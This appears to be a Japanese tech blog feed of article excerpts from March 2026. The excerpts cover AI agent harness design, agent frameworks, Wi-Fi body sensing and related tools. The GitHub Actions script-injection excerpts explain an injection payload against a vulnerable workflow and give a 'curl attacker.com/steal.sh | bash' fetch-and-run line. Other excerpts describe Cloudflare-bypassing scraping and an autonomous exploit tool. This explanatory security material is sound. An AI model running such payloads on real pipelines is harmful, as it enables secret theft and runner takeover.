ソフトウェアの世界では「テストハーネス」という用語がすでにある。テスト対象のコードを「つなぎ止めて」、入力を与え、出力を検証する枠組みのことだ。テスト対象そのものではなく、テスト対象を正しく動かすための外側の仕組みを指す。

AI コーディングエージェントにおける「ハーネス」もこれと同じ発想だ。AI エージェント（= 馬）は強力だが、そのままでは暴走する。古いドキュメントを信じてしまう、リンターのルールを勝手に緩和する、前のセッションで何をしたか忘れる。エージェントを制御し、安定した成果を引き出すための外側の仕組み全体がハーネスであり、それを設計・構築する技術がハーネスエンジニアリングだ。

具体的にハーネスを構成する要素は、大きく 3 つの層に分けられる:

入力層 — エージェントに何を読ませ、何を読ませないかを制御する（AGENTS.md の設計、リポジトリの衛生管理、セッション間の状態引き継ぎ）
実行制御層 — エージェントの作業中にリアルタイムで品質を強制する（リンター・フォーマッターの自動実行、計画と実行の分離）
検証層 — エージェントの出力が正しいことを確認する（E2E テスト、プリコミットチェック）

核心的な洞察は「ハーネスがモデルより重要」という点だ。同じモデルでもハーネスを改善すれば出力品質が劇的に向上する。開発者の責任は「正しいコードを書く」から「エージェントが確実に正しいコードを生産する環境を設計する」へとシフトしている。

7 つの主要トピック

1. リポジトリ衛生〈入力層〉

「衛生（hygiene）」は、ソフトウェア開発で「不要物や汚染を取り除き、健全な状態を保つ」という意味で使われる慣用表現だ（「コードハイジーン」「ブランチハイジーン」なども同様）。ここでは、リポジトリ内に古くなったドキュメントや不正確な情報が溜まらないよう清潔に保つことを指す。人間なら「このメモ、古そうだな」と判断できるが、エージェントは 3 ヶ月前のメモも最新のコードも同じ「事実」として読んでしまう。だから情報の鮮度管理が重要になる。

実行可能なアーティファクト（コード、テスト、設定）を優先する
説明的ドキュメントは腐敗しやすいため最小化する
ADR（Architecture Decision Records）で決定履歴を保全する
テストはドキュメントより腐敗に強い

最大の敵は「説明的ドキュメントの腐敗」だ。エージェントは「3 ヶ月前のメモ」と「現在の真実」を区別できないため、古い情報が存在するだけで性能が低下する。ハーネスの入力層として、エージェントが読む情報の鮮度と正確性を保つことが最初のステップになる。

2. 決定論的ツールで品質を強制する〈実行制御層〉

「決定論的（deterministic）」とは、同じ入力に対して毎回必ず同じ結果を返すという意味だ。リンターやフォーマッターがその典型で、たとえば「未使用の変数がある」というコードを渡せば、何度実行しても必ず同じ警告を返す。気分や文脈によって判断が揺れることがない。

対照的に、LLM は非決定論的だ。同じコードを渡しても、実行するたびにチェックの粒度や指摘内容がブレる。「インデントを揃えて」と指示しても、ある時はスペース 2 つ、別の時はタブで揃えるかもしれない。

だからこそ、機械的に判定できるルール（構文エラー、未使用変数、フォーマット）は LLM に任せず、決定論的ツールに委ねるのが原則だ。PostToolUse Hook でファイル編集のたびにリンターを自動実行し、エラーをエージェントに即時フィードバックする。

言語別の推奨スタック:

言語	PostToolUse	プリコミット	カスタムルール
TypeScript	Biome + Oxlint	tsc + ESLint	eslint-plugin-local-rules
Python	Ruff check/format	Ruff + mypy	ast-grep
Go	gofumpt + golangci-lint	同左	ast-grep

リンター設定の保護も重要だ。エージェントがルールを勝手に緩和・改ざんするのを防ぐ仕組みが必要になる。これはまさに「手綱」の役割 — エージェントが暴走しないよう、作業のたびに自動で引き戻す仕組みだ。

Paperclip — AIエージェントで会社を自律運営するオープンソースOS

Mon, 09 Mar 2026 00:00:00 +0000

AIエージェントに役職・組織図・予算・目標を与え、24時間自律的に会社を運営させる——そんなコンセプトのオープンソースプロジェクト「Paperclip」が公開され、注目を集めている。

Paperclip とは

Paperclip は、複数の AI エージェントを「社員」として組織化し、会社として機能させるためのオーケストレーションプラットフォームだ。

“If OpenClaw is an employee, Paperclip is the company.”

個々の AI エージェントを個別に管理するのではなく、組織図・予算・ガバナンス・目標整合・タスク調整といった会社レベルのインフラを提供する。

GitHub: https://github.com/paperclipai/paperclip
公式サイト: https://paperclip.ing/
ライセンス: MIT

主な機能

エージェントの組織化

組織図（Org Chart）: 階層構造、役職、レポートラインを定義
目標整合（Goal Alignment）: 会社のミッションからプロジェクト目標、個別タスクまで文脈が伝播
マルチカンパニー対応: 1つのデプロイで複数の会社を完全分離して管理

対応エージェント

Claude、OpenClaw、Codex、Cursor、Bash スクリプト、HTTP Webhook など、ハートビートシグナルを受信できる任意のランタイムと連携できる。

コスト管理

エージェントごとに月次予算を設定し、使用量80%で警告、100%で自動停止する。暴走的なトークン消費を防ぐ仕組みが組み込まれている。

ガバナンスと監査

人間による承認ゲート（採用・戦略変更時）
設定変更のバージョニングとロールバック
全ての会話・意思決定・ツール呼び出しの追跡ログ
いつでもエージェントの一時停止・再割り当て・終了が可能

セットアップ

1
2
3
4
5
6
7
8


# クイックスタート
npx paperclipai onboard --yes

# 手動インストール
git clone https://github.com/paperclipai/paperclip.git
cd paperclip
pnpm install
pnpm dev

API は http://localhost:3100 で起動し、組み込みの PostgreSQL データベースを使用する。要件は Node.js 20+ と pnpm 9.15+。

GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃者にシェルを渡している

Fri, 06 Mar 2026 00:00:00 +0000

GitHub Actions スクリプトインジェクション完全解説 — `${{ }}` を `run` に書いた瞬間、攻撃者にシェルを渡している

『GitHub CI/CD実践ガイド』著者の tmknom 氏（@tmknom）が、GitHub Actions のスクリプトインジェクションを解説した Zenn 記事を引用し、こう呼びかけています。

はい、というわけでしてね。みんな『GitHub CI/CD実践ガイド』を、穴が開くまで読んでくださいね！

引用されている kou_pg_0131 氏の Zenn 記事は、GitHub Actions の run ステップで ${{ }} テンプレート式を使う際のインジェクション脆弱性を実演付きで解説した記事です。2025〜2026年にかけて GitHub Actions のサプライチェーン攻撃が急増しており、この知識はすべての開発者にとって必須になっています。

何が危険なのか — 30秒で理解する

1
2


# 危険なコード
- run: echo "PR title is ${{ github.event.pull_request.title }}"

一見無害なこのコード。しかし攻撃者が PR タイトルに以下を入力すると、任意のコマンドが実行されます。

"; echo INJECTED"

展開後のシェルコマンドは以下になります。

1

echo "PR title is "; echo INJECTED""

セミコロンでコマンドが分割され、echo INJECTED が実行されます。echo の代わりに curl attacker.com/steal.sh | bash を書けば、CI/CD ランナー上でリバースシェルの確立、シークレットの窃取、リポジトリの改ざんが可能です。

RuView × Wi-Fi電波で壁越し人体検知 — $48で心拍・姿勢を丸裸にする技術の実態

Fri, 06 Mar 2026 00:00:00 +0000

RuView × Wi-Fi電波で壁越し人体検知 — $48で心拍・姿勢を丸裸にする技術の実態

TL;DR: カメラなし・$48のESP32だけで壁の向こうの人間の心拍・呼吸・骨格17点を検知できるとするオープンソースプロジェクト「RuView」がSNSで話題に。原理はCMU発の査読済み研究に基づく実在技術だが、「28.5kスター」の裏には再現性への疑義とCSIハードウェアの壁がある。煽りと科学を分離して整理する。

話題の発端

@kosuke_agos氏のポスト（2026年3月5日、閲覧6.4万・ブックマーク456）が日本語圏で拡散。「市販Wi-Fiルーターだけで壁の向こう側の人間の心拍数や姿勢を完全に特定」「わずか48ドルで構築」という衝撃的な内容が注目を集めた。

https://x.com/kosuke_agos/status/2029392193325285521

RuView とは何か

RuView（旧wifi-densepose）は、Wi-Fi信号のCSI（Channel State Information）を解析して、カメラなしで人体の姿勢推定・バイタルサイン検知を行うオープンソースプロジェクト。

GitHub: https://github.com/ruvnet/RuView
スター: 28.5k / フォーク: 3.7k
ライセンス: MIT
実装言語: Rust（Python比810倍の処理速度を主張）

主張されている性能

機能	スペック
骨格トラッキング	17箇所のキーポイント
呼吸検知	6-30 BPM
心拍検知	40-120 BPM
処理速度	54,000 fps（Rust実装）
壁越し検知距離	最大5m
AIモデルサイズ	55KB（エッジ実行可能）
ハードウェアコスト	〜$48（ESP32-S3 × 4-6台）

科学的な背景 — CMU「DensePose From WiFi」

RuView の理論的基盤は、カーネギーメロン大学（CMU）ロボティクス研究所が2022年に発表した査読済み論文「DensePose From WiFi」（arXiv: 2301.00250）。

論文の核心

Wi-Fiの**CSI（チャネル状態情報）**は、空間内の物体・人体による電波の反射・回折・散乱を数値化したもの
CSI信号を画像的な2D特徴マップに変換するエンコーダ・デコーダネットワークを構築
修正版DensePose-RCNNで、2D特徴から人体表面のUV座標を推定
複数人の同時検知が可能で、カメラベースのアプローチに匹敵する性能を達成

この研究は実在し、査読を通過しており、Wi-Fi CSI による人体検知という原理自体は「嘘」ではない。

CSI の仕組み（簡略版）

Wi-Fi ルーター → 電波送信（OFDM: 52サブキャリア）
↓
人体が電波を反射・吸収・散乱
↓
ESP32 受信 → 各サブキャリアの振幅・位相変化を記録（= CSI）
↓
AI が CSI パターンから人体の姿勢・バイタルを推定

呼吸は胸部の周期的な膨張・収縮（6-30回/分）、心拍は胸壁の微小振動（40-120回/分）として、CSIのFFT（高速フーリエ変換）解析で分離・抽出される。

「決定性のないソフトウェア」の設計と評価 × t_wada氏の視点とskill-creatorが実装したTDD→EDD移行パターン

Thu, 05 Mar 2026 00:00:00 +0000

「決定性のないソフトウェア」をどう設計し評価するか — t_wada 氏の視点と skill-creator が実装した答え

和田卓人（@t_wada）氏が X で言及した、skill-creator の設計に関するコメントが注目を集めています。

skill-creator いい感じで動作すると思っていたら中身がこのようになっていたのか。決定性のないソフトウェアをどう実践的に設計して評価するかといった観点でも参考になるエントリ。

t_wada 氏は、テスト駆動開発（TDD）の日本における第一人者であり、Kent Beck 著『テスト駆動開発』の翻訳者、power-assert-js の作者として知られるプログラマです。その t_wada 氏が「決定性のないソフトウェアの設計と評価」という観点で skill-creator を評価しています。

元記事は逆瀬川ちゃん氏のブログ「skill-creator から学ぶ Skill 設計と、Orchestration Skill の作り方」です。本記事では、t_wada 氏の指摘する「決定性のないソフトウェア」の設計問題に焦点を当て、skill-creator がどのような解を実装しているかを解説します。

「決定性のないソフトウェア」とは何か

従来のソフトウェアとの違い

決定的ソフトウェア（従来）:
入力 A → 常に出力 X
入力 B → 常に出力 Y
→ 「2 + 2 = 4」を assert できる
非決定的ソフトウェア（LLM ベース）:
入力 A → 出力 X1, X2, X3...（毎回異なる）
入力 B → 出力 Y1, Y2, Y3...（毎回異なる）
→ 「正解」が一意に定まらない

LLM の出力は確率的です。同じプロンプトを送っても、temperature やサンプリングの影響で異なる結果が返ります。従来の assertEqual(expected, actual) というテスト手法が通用しない世界です。

AI/ML学習リポジトリ厳選10選 × スター総計12万超のキュレーション集を目的別に読み解く

Thu, 05 Mar 2026 00:00:00 +0000

AI/ML 学習リポジトリ厳選 10 選 — スター総計 12 万超のキュレーション集を目的別に読み解く

@DeRonin_ 氏が X で投稿した、AI/ML 学習用 GitHub リポジトリのキュレーションが反響を呼んでいます。

List of THE BEST Github Repositories to learn AI and ML

この投稿は 278 件のブックマークを集め、実務者が「手元に置きたいリスト」として支持されていることがわかります。本記事では、紹介された 10 リポジトリを目的別に分類し、それぞれの特徴と使い分けを解説します。

全 10 リポジトリ一覧

#	リポジトリ	スター	主な内容
1	SkalskiP/courses	6.4k	AI コースのキュレーション集
2	owainlewis/awesome-artificial-intelligence	10k+	AI システム構築のリソース集
3	Yorko/mlcourse.ai	—	OpenDataScience の ML コース
4	tirthajyoti/Papers-Literature-ML-DL-RL-AI	—	論文・文献・書籍のカタログ
5	dair-ai/ML-YouTube-Courses	17.1k	YouTube ML コースのインデックス
6	dair-ai/Prompt-Engineering-Guide	71.1k	プロンプトエンジニアリングガイド
7	armankhondker/awesome-ai-ml-resources	—	ML/AI 学習ロードマップ
8	nivu/ai_all_resources	—	数学から DL まで網羅的リソース集
9	aishwaryanr/awesome-generative-ai-guide	25.1k	生成 AI 特化のハブ
10	break-into-data/ai-engineer-toolkit	2.1k	AI エンジニア向けツールキット

目的別分類

10 リポジトリは大きく 4 つのカテゴリに分けられます。

gen-ai-experiments × 130超の生成AIアプリを「動かして学ぶ」LangChain・RAG・エージェント実践集

Thu, 05 Mar 2026 00:00:00 +0000

130 超の生成 AI アプリを「動かして学ぶ」— gen-ai-experiments リポジトリ完全ガイド

@alifcoder 氏が X で紹介した、生成 AI の実践的学習リポジトリが注目を集めています。

Collection of 130+ production-ready Gen AI apps, agents, and experiments. Built with LangChain, RAG, AI Agents, Multi-Agent Teams, and more.

buildfastwithai/gen-ai-experiments は、130 を超える本番レベルの生成 AI アプリケーション、エージェント、実験プロジェクトを Jupyter ノートブック形式で集めたリポジトリです。LangChain、RAG、AI エージェント、マルチエージェントシステムなど、2024-2026 年の主要な AI 技術スタックを網羅しています。

本記事では、このリポジトリの構成と活用法、類似リソースとの比較、そして「動かして学ぶ」アプローチの価値を解説します。

なぜ「動かして学ぶ」が重要なのか

ドキュメントだけでは身につかない

生成 AI の学習には特有の難しさがあります。

生成 AI 学習の 3 つの壁:
1. API の組み合わせの壁:
LLM API 単体は簡単。だが RAG、エージェント、
ツール連携を組み合わせると複雑度が指数的に増加
2. プロンプト設計の壁:
「動くプロンプト」と「良いプロンプト」の差は
ドキュメントでは伝わらない。実行して出力を見るしかない
3. 本番品質の壁:
デモレベルと本番レベルの間にある
エラーハンドリング、レート制限、コスト管理の知識

gen-ai-experiments は、これらの壁を動くコードで越えるアプローチを取っています。631 の Jupyter ノートブックがあり、セルを 1 つずつ実行しながら各技術の仕組みを体験できます。

GitHub Actionsスクリプトインジェクション完全解説 — ${{ }}をrunに書いた瞬間、攻撃が始まる

Thu, 05 Mar 2026 00:00:00 +0000

GitHub Actions スクリプトインジェクション完全解説 — `${{ }}` を run に書いた瞬間、攻撃が始まる

@koki_develop 氏のポストで紹介された Zenn 記事が話題になっています。

書きました。GitHub Actions 触る人は全員知っておいてほしい

【GitHub Actions】スクリプトインジェクションの実践例（koki 氏）は、GitHub Actions ワークフローにおけるスクリプトインジェクションの仕組みを具体的なコード例で解説した記事です。「プライベートリポジトリなら大丈夫？」という疑問にも明確に「安全ではない」と回答しています。

2025 年には GhostAction キャンペーンで 3,325 件のシークレットが窃取され、tj-actions/changed-files のサプライチェーン攻撃では 23,000 以上のリポジトリが影響を受けました。スクリプトインジェクションは理論上の脅威ではなく、現在進行形のリスクです。

スクリプトインジェクションとは何か

GitHub Actions の ${{ }} 式は、シェルがコマンドを解析する前にテンプレートエンジンによって展開されます。この順序が脆弱性の根本原因です。

通常の期待:
${{ github.event.pull_request.title }} → 文字列として処理される
実際の動作:
${{ github.event.pull_request.title }} → 値がそのままシェルスクリプトに埋め込まれる
→ シェルがコマンドとして解釈する

つまり、PR タイトルやブランチ名など攻撃者が制御可能な値が、そのままシェルコマンドの一部になります。

攻撃の実践例

攻撃 1: PR タイトルによるインジェクション

脆弱なワークフロー:

1
2
3
4
5
6
7
8


on:
 pull_request:

jobs:
 example:
 runs-on: ubuntu-latest
 steps:
 - run: echo "PR title is ${{ github.event.pull_request.title }}"

攻撃者が PR タイトルを "; echo INJECTED" に設定すると:

GitNexus × ゼロサーバーコード知能 --- ナレッジグラフで影響範囲を可視化する新しいコードリーディング

Thu, 05 Mar 2026 00:00:00 +0000

GitNexus × ゼロサーバーコード知能 — ナレッジグラフで「影響範囲」を可視化する新しいコードリーディング

@sukh_saroy 氏が X で紹介した、コードベース全体を知識グラフに変換するツールが注目を集めています。

GitNexus: A zero-server code intelligence engine that transforms your codebase into a navigable knowledge graph.

GitNexus は、コードベースをナレッジグラフに変換し、関数の呼び出し関係・継承・インポートの依存を構造的に把握できるコード知能エンジンです。サーバー不要で完全にローカル実行でき、Claude Code や Cursor などの AI コーディングツールと MCP（Model Context Protocol）で連携します。

本記事では、GitNexus の仕組み、従来のコード検索との違い、そして AI エージェント時代に「コードの影響範囲を知る」ことがなぜ重要かを解説します。

従来のコード検索の限界

grep/ripgrep では見えないもの

エンジニアがコードベースを理解する方法は、長い間「テキスト検索」が中心でした。

従来のコード理解の方法:
grep / ripgrep:
├── 文字列の一致を検索
├── ファイル横断で高速
└── 限界: 「この関数を変更したら何が壊れるか」は分からない
IDE の「参照を検索」:
├── シンボルの参照箇所を表示
├── 型情報を活用
└── 限界: 間接的な依存（A→B→C）は追いきれない
手動でコードを読む:
├── 最も確実だが最も遅い
└── 限界: 大規模コードベースでは現実的でない

これらの方法に共通する問題は、コードの「関係性」が見えないことです。「この関数を呼んでいる場所」は分かっても、「この関数を変更したときの影響が最終的にどこまで波及するか」は分かりません。

AI コーディングツールの盲点

Claude Code や Cursor などの AI コーディングツールは、コードベースを理解する能力が飛躍的に向上しました。しかし、根本的な制約があります。

OpenClaw × Scrapling — AIエージェントが「検出不能なスクレイピング」を手にした日

Thu, 05 Mar 2026 00:00:00 +0000

OpenClaw × Scrapling — AIエージェントが「検出不能なスクレイピング」を手にした日

RoundtableSpace（@roundtablespace）が、OpenClaw の新しいスクレイピング能力を紹介するポストを投稿し、大きな反響を集めています。

OpenClaw can now scrape any website without getting blocked - zero bot detection, bypasses Cloudflare natively, 774x faster than BeautifulSoup. No selector maintenance. No workarounds. Just data. THIS IS AN UNFAIR ADVANTAGE AND IT’S FULLY OPEN SOURCE.

https://x.com/RoundtableSpace/status/2029191380212257159

5,059 いいね・424 RT・8,120 ブックマークを集めたこのポストが紹介しているのは、OpenClaw と Scrapling というオープンソース Python ライブラリの組み合わせです。AIエージェントが Cloudflare の防御を突破し、検出されずにあらゆるウェブサイトからデータを取得できるという主張は、技術コミュニティで論争を引き起こしています。

Scrapling とは何か

Scrapling は、GitHub で 22,400 スターを獲得しているオープンソースの Python スクレイピングフレームワークです。開発者は Karim Shoair（D4Vinci）で、「適応型ウェブスクレイピング」を謳っています。

3つの Fetcher

Scrapling の中核は、用途別に設計された3つの Fetcher です。

OpenClaw 22,000字解説のファクトチェック --- AIエージェントの民主化煽りと技術的実態の分離

Thu, 05 Mar 2026 00:00:00 +0000

OpenClaw 22,000字解説のファクトチェック — 「AIエージェントの民主化」煽りと技術的実態の分離

@unikoukokun 氏が X で投稿した、OpenClaw に関する約 22,000 字の長文解説が話題になっています。

OpenClawがなぜ凄いか。ClaudeCodeで充分じゃね？という人向け

「AIエージェントの民主化」「1人で1,000人分の生産性」「100席の椅子取りゲーム」—強烈な表現で OpenClaw の導入を訴える記事です。技術的な情報と煽り的な主張が混在しているため、本記事ではファクトチェックを行い、正確な情報と誇張を分離します。

元記事の概要

ユニコ氏の記事は、OpenClaw を以下の観点から解説しています。

元記事の主要な主張:
1. OpenClaw は「AIエージェントの民主化」:
ローカル実行の分散型 AI エージェント
Manus（中央集権型）との構造的な違い
2. 3 つの技術的優位性:
外部サービス連携（23+ プラットフォーム）
セッション横断型メモリー（Memory MD）
ブラウザユース（Browser Use）
3. ビジネスへのインパクト:
フリーランスの武器、中小企業の DX ツール
1 人で 1,000 人分の生産性
4. Claude Code との使い分け:
「作る」時は Claude Code、「使う・動かす」時は OpenClaw

全体で約 22,000 字、13 セクション以上の大作です。技術解説としての価値がある一方、煽り的な表現も多く含まれています。

ファクトチェック: 7 つの主要な主張を検証

主張 1: GitHub スター数 247,000 超、フォーク数 47,700 超

判定	概ね正しい（記事時点の数値）

記事の数値は 2026 年 2 月下旬時点のものとして妥当です。2026 年 3 月時点ではスター数 263,000 超、フォーク数 50,400 超にまで成長しており、React を抜いて GitHub の最もスターの多いソフトウェアプロジェクトとなっています。

OpenFang × Rust製シングルバイナリ「エージェントOS」のHandsアーキテクチャと自律型AI設計

Thu, 05 Mar 2026 00:00:00 +0000

OpenFang — Rust 製シングルバイナリの「エージェント OS」が再定義する自律型 AI の設計

@mikefutia 氏が X で紹介した OpenFang v0.3.7 のリリースが注目を集めています。

OpenFang v0.3.7 is out! here’s everything since v0.3.3

OpenFang は RightNow AI の創設者 Jaber 氏が開発する、Rust で一から構築されたオープンソースのエージェントオペレーティングシステムです。チャットボットフレームワークではなく、自律的にタスクを実行する「エージェント OS」を標榜しています。2026 年 2 月 24 日の公開から 4 日で GitHub スター 4,037 を獲得し、パーソナル AI エージェント領域で最速級の立ち上がりを見せました。

本記事では、OpenFang のアーキテクチャ、独自の「Hands」機構、Python 製フレームワークとの構造的な違いを技術的に解説します。

なぜ「エージェント OS」なのか

チャットボットフレームワークとの違い

LangChain や CrewAI のような既存のエージェントフレームワークは、基本的にユーザーのプロンプトを起点に動作します。ユーザーが指示を出し、エージェントが実行し、結果を返す。この対話ループが基本構造です。

OpenFang が「OS」と名乗る理由は、プロンプトなしで自律的に動作する設計にあります。

既存フレームワーク:
ユーザー → プロンプト → エージェント → 結果 → ユーザー
（対話ループ）
OpenFang:
スケジュール → エージェント → タスク実行 → 知識グラフ更新
↓
ダッシュボードに報告
（自律ループ、ユーザーの介入は承認ゲートのみ）

24 時間 365 日、バックグラウンドでエージェントが動き続ける。リード獲得、競合監視、SNS 投稿、コンテンツ生成を自動で行い、ユーザーはダッシュボードで結果を確認する。これが OpenFang の設計思想です。

Qwen-Agent 公式エージェントフレームワーク完全ガイド — モデル開発チームが作った「全部入り」の設計思想

Thu, 05 Mar 2026 00:00:00 +0000

Qwen-Agent 公式エージェントフレームワーク完全ガイド — モデル開発チームが作った「全部入り」の設計思想

@abxxai（Abdul Shakoor）のポストが、Qwen チームが公式リリースしたエージェントフレームワーク「Qwen-Agent」を紹介し、10万ビュー超・2,900ブックマーク・2,200いいねと極めて高い反響を集めています。

BREAKING: The Qwen team just shipped their official agent framework and it has everything. No stitching together third-party libraries. No fighting abstractions.

「サードパーティのライブラリをつなぎ合わせる必要がない」「抽象化と戦わなくていい」という評価は、既存のエージェントフレームワーク（LangChain、CrewAI 等）が抱える複雑さへのアンチテーゼです。

Qwen-Agent とは何か

Qwen-Agent は、Alibaba Cloud の Qwen チームが開発したオープンソースのエージェントフレームワークです。Qwen 3.0 以上のモデルをベースに、Function Calling・MCP・Code Interpreter・RAG・Chrome 拡張を統合した「全部入り」のフレームワークとして設計されています。

最大の特徴: モデルとフレームワークの共進化

LangChain や CrewAI がモデルに依存しない汎用フレームワークであるのに対し、Qwen-Agent は Qwen モデルと一体的に開発されています。

観点	Qwen-Agent	LangChain / CrewAI
開発元	Qwen モデル開発チーム	サードパーティ
モデルとの関係	共進化（同時に開発・最適化）	モデル非依存
ツール呼び出し	ネイティブ統合（テンプレート・パーサー内蔵）	アダプタ経由
抽象化の層	薄い（モデルに直接最適化）	厚い（汎用性のための間接層）
対応モデル	Qwen 系が最適、他モデルも利用可	幅広いモデルに対応

Qwen チームは「モデルの開発当初から、ツール使用と深い推論を含む強力なエージェント能力の実現が戦略の柱だった」と述べています。フレームワークはモデルの能力を最大限に引き出すために設計されており、汎用フレームワークでは到達できない最適化が実現されています。

Shannon — 自律型AIペネトレーションテスターが「実証なき報告」を終わらせる

Thu, 05 Mar 2026 00:00:00 +0000

Shannon — 自律型 AI ペネトレーションテスターが「実証なき報告」を終わらせる

@heynavtoor 氏のポストが話題になっています。

Someone just open sourced a fully autonomous AI hacker and it’s terrifying. It’s called Shannon. Point it at your web app, and it doesn’t just scan for vulnerabilities. It actually exploits them.

Shannon は「No Exploit, No Report（実証できなければ報告しない）」を原則とする、完全自律型の AI ペネトレーションテストツールです。従来のスキャナーが「ここが危険かもしれません」と警告を出す場面で、Shannon は実際に攻撃を実行し、成功した場合だけ報告します。XBOW ベンチマークで 96.15% のスコアを記録し、GitHub で 10,000 以上のスターを獲得しています。

なぜ Shannon が注目されるのか — 年 1 回ペンテストの限界

現代の開発チームは Claude Code や Cursor を使い、毎日コードを出荷しています。一方、ペネトレーションテストは年 1 回が一般的です。365 日のうち 364 日は「検証なし」で本番にデプロイしている計算になります。

「MCPは死んだ、CLIに栄光あれ」— Playwright CLI が出した結論と、それでもMCPが生き残る理由

Wed, 04 Mar 2026 00:00:00 +0000

「MCPは死んだ、CLIに栄光あれ」— Playwright CLI が出した結論と、それでもMCPが生き残る理由

@swarm_ai_cloud 氏のポストが、@hiroki_daichi 氏が紹介した「MCP is dead. Long live the CLI」という記事に対して、Playwright CLI の登場を根拠に「結論が出た」と指摘しています。

今年1月、PlaywrightがCLIを出したことで結論出ましたね。

2026年2月、Eric Holmes の「MCP is dead. Long live the CLI」がHacker Newsのトップに上がり、85ポイント・66コメントを集めました。LLM にとって MCP は不要で、CLI で十分だという主張です。そして1月に Microsoft が Playwright CLI をリリースしたことで、この議論に具体的なデータが加わりました。

Eric Holmes の主張 — MCP は何の利益ももたらさない

Holmes の記事は5つの論点で MCP の不要性を訴えています。

論点	主張
LLM に特別なプロトコルは不要	何百万もの man ページと Stack Overflow で訓練済み。CLI とドキュメントを渡せば十分
CLI は人間も使える	問題発生時に同じコマンドを人間が実行してデバッグできる。MCP は JSON ログの解読が必要
合成可能性	`jq`、`grep`、パイプで自由に組み合わせ可能。MCP サーバーの返すデータは固定
認証は解決済み	`aws`、`gh`、`kubectl` は人間とエージェントの両方で動作する
可動部品がない	CLI バイナリにバックグラウンドプロセスは不要。MCP サーバーは初期化で落ちることがある

Holmes が特に強調したのは、MCP の実運用上の痛みです。

Anthropic 公式 skill-creator の設計を解剖する — Orchestration Skill という新しいスキル設計パターン

Wed, 04 Mar 2026 00:00:00 +0000

Anthropic 公式 skill-creator の設計を解剖する — Orchestration Skill という新しいスキル設計パターン

@gyakuse（逆瀬川）氏のポストが、Anthropic 公式の skill-creator を分析した記事を公開し、大きな反響を呼んでいます（いいね 330、ブックマーク 372）。

Anthropicのskill-creatorがめちゃくちゃいいスキルだったので、中身を分析して、今後どういうふうにAgent Skillを作るべきかまとめました。Orchestrator系のSkillはみんなが無意識に作りつつありますが、意識的に作ると結構便利な気がします。

引用元は逆瀬川氏のブログ記事「skill-creatorから学ぶSkill設計と、Orchestration Skillの作り方」。Anthropic が GitHub で公開している skill-creator の内部構造を詳細に分析し、Skills の設計パターンを体系化した記事です。

本記事では、skill-creator の設計思想、7つのベストプラクティス、2つのオーケストレーションアーキテクチャ、そして未解決の課題を解説します。

skill-creator とは何か

「スキルを作るためのスキル」

skill-creator は、Claude Code の Skills を作成・テスト・改善するためのメタスキルです。Anthropic が公式リポジトリ anthropics/skills で公開しています。

4つのモードで Skills の開発ライフサイクル全体をカバーします。

モード	機能
Create	インタビュー → SKILL.md ドラフト作成 → テストケース生成
Eval	並列評価（スキルあり版 vs ベースライン版を同時実行）
Improve	採点・分析 → HTML ビューアでレビュー → フィードバック反映
Benchmark	統計集約 → Description 最適化 → パッケージング

4つの専門エージェント

skill-creator は内部で4つのサブエージェントを使い分けています。

エージェント	役割
Executor	Skills を実際に実行してテスト
Grader（224行）	出力を期待値と照合して採点
Comparator（203行）	スキルあり版とベースライン版を盲検比較
Analyzer（275行）	結果を分析して改善提案を生成

注目すべき数値があります。SKILL.md 本体は 480行のフロー制御ですが、サブエージェントのプロンプトは合計 700行以上。オーケストレーターよりも専門家プロンプトの方が分量が多いのです。

FinGPT 完全ガイド — オープンソース金融 LLM の仕組みと実践

Wed, 04 Mar 2026 00:00:00 +0000

FinGPT 完全ガイド — オープンソース金融 LLM の仕組みと実践

「ローカル LLM を金融取引の意思決定サポートに応用する」で紹介した FinGPT について、アーキテクチャから実践的な利用方法まで詳しく解説します。BloombergGPT の学習コストが約 270 万ドル（約 4 億円）だったのに対し、FinGPT は 17〜300 ドルで同等以上の精度を実現するオープンソースの金融特化 LLM フレームワークです。

FinGPT とは

FinGPT は AI4Finance Foundation（米国 501(c)(3) 非営利法人）が開発・維持するオープンソースプロジェクトです。Columbia University と NYU Shanghai の研究者が中心となり、2023 年 6 月に初版論文（arXiv:2306.06031）を公開しました。

開発の背景

Bloomberg が 2023 年に公開した BloombergGPT（50B パラメータ）は、金融特化 LLM の可能性を示しました。しかし、モデルは非公開で、学習には 53 日間と約 270 万ドルが必要でした。

FinGPT はこの問題に対して「金融 AI の民主化」を掲げ、以下を実現しています。

オープンソース（Apache 2.0 / MIT ライセンス）
LoRA によるパラメータ効率的なファインチューニング
1 台の GPU（RTX 3090）で学習可能
学習コスト 17〜300 ドル（BloombergGPT 比で約 1 万分の 1）

項目	BloombergGPT	FinGPT
パラメータ数	50B	7B〜13B（LoRA）
学習コスト	約 270 万ドル	17〜300 ドル
学習期間	53 日	数時間
公開状況	非公開	オープンソース
感情分析（FPB F1）	51.0%	88.2%

感情分析では FinGPT が BloombergGPT を大幅に上回っています。 これは LoRA によるタスク特化のファインチューニングが、大規模な事前学習よりも効率的にドメイン知識を獲得できることを示しています。

GitHub Copilot CLI の /research コマンド --- コミットログも Actions 履歴も全部調べてくれるディープリサーチ

Wed, 04 Mar 2026 00:00:00 +0000

GitHub Copilot CLI の /research コマンド — コミットログも Actions 履歴も全部調べてくれるディープリサーチ

@07JP27 氏が X で連続投稿し、GitHub Copilot CLI の /research コマンドの威力を紹介しています。

/research コマンドすげえ。Web を Deep Research してくれるのはもちろん、紐づくリポジトリのコミットログとか GitHub Actions の実行履歴まで全部見てくれて「お前のこのときのコミットのここが原因だぞ。Actions のログにもこう出てるだろ」みたいなことを言ってくる。

元の投稿では Qiita 記事（@shyamagu 氏の解説）も参照されており、MCP ツール連携や WorkIQ との統合例が紹介されています。本記事では、/research コマンドの技術的な仕組みと、Claude Code との比較を交えて解説します。

/research コマンドとは

概要

2026 年 2 月 25 日、GitHub Copilot CLI が全有料プラン向けに一般提供（GA）を開始しました。同日リリースの v0.0.417 で追加された /research コマンドは、ディープリサーチ専用のスラッシュコマンドです。

通常のチャットが速度重視なのに対し、/research は徹底性（thoroughness）を重視します。複数のツールを呼び出しながら情報を収集し、数百行に及ぶ Markdown レポートを生成します。

1
2
3
4
5


# 基本的な使い方
/research Azure App Service の 2026 年の新機能

# MCP ツールを明示的に指定
/research microsoft-docs ツールを使って Azure App Service の新機能を調査してください

3 つのクエリ分類

/research はクエリを自動分類し、回答形式を最適化します。

labor-law-mcp — Claude の労務ハルシネーションを防ぐ MCP サーバーと「一次情報/二次情報」の設計思想

Wed, 04 Mar 2026 00:00:00 +0000

labor-law-mcp — Claude の労務ハルシネーションを防ぐ MCP サーバーと「一次情報 / 二次情報」の設計思想

